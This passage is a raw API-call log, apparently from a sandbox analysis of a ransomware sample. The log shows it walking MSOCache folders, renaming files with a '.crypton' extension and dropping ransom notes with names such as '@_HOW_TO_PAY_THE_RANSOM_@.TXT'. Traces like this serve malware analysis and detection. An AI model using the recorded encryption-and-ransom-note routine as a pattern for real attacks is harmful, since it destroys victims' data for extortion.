lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb02, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xafa, lpOverlapped=0x0) returned 1 [0069.193] AreFileApisANSI () returned 1 [0069.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.193] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x536b88 [0069.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=79 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 79 [0069.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0069.193] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xae) returned 0x54a680 [0069.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.crypton") returned 87 [0069.193] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.crypton"), dwFlags=0x2) returned 1 [0069.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.193] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.194] AreFileApisANSI () returned 1 [0069.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x536b88 [0069.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=79 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 79 [0069.194] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.194] GetLastError () returned 0x2 [0069.194] AreFileApisANSI () returned 1 [0069.194] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpFilePart=0x0) returned 0x4d [0069.194] GetLastError () returned 0x2 [0069.194] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.194] AreFileApisANSI () returned 1 [0069.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.194] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.195] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.195] GetFileType (hFile=0x190) returned 0x1 [0069.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.200] AreFileApisANSI () returned 1 [0069.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.200] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0069.200] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x54a680 [0069.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton") returned 82 [0069.200] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.201] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.201] AreFileApisANSI () returned 1 [0069.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.201] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.201] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0069.201] GetLastError () returned 0x2 [0069.201] AreFileApisANSI () returned 1 [0069.201] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.201] GetLastError () returned 0x2 [0069.201] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.201] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.201] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0069.201] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.201] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5244d8 [0069.201] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524448 [0069.201] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5244d8 | out: hHeap=0x510000) returned 1 [0069.202] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524448 | out: hHeap=0x510000) returned 1 [0069.202] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524400 | out: hHeap=0x510000) returned 1 [0069.202] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.202] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0069.202] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.202] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x77) returned 0x51ff00 [0069.202] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.202] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.202] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.202] AreFileApisANSI () returned 1 [0069.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.202] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 93 [0069.202] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.205] GetFileType (hFile=0x1f0) returned 0x1 [0069.205] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.206] AreFileApisANSI () returned 1 [0069.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.206] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xbc) returned 0x54a680 [0069.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=94 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 94 [0069.206] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.206] GetFileType (hFile=0x1f0) returned 0x1 [0069.206] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.207] AreFileApisANSI () returned 1 [0069.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.207] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 93 [0069.207] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.208] GetFileType (hFile=0x1f0) returned 0x1 [0069.208] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.212] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa69b7f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa69b7f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.212] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa69b7f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa69b7f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="..", cAlternateFileName="")) returned 1 [0069.212] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa69b7f00, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa69b7f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa69b7f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.212] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.212] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.213] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa69b7f00, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa69b7f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa69b7f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.213] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa69b7f00, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa69b7f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa69b7f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.213] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.213] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.213] AreFileApisANSI () returned 1 [0069.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.213] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.214] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.214] GetFileType (hFile=0x190) returned 0x1 [0069.214] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.216] AreFileApisANSI () returned 1 [0069.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.216] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0069.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0069.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0069.217] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x54a680 [0069.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton") returned 82 [0069.217] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.217] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: 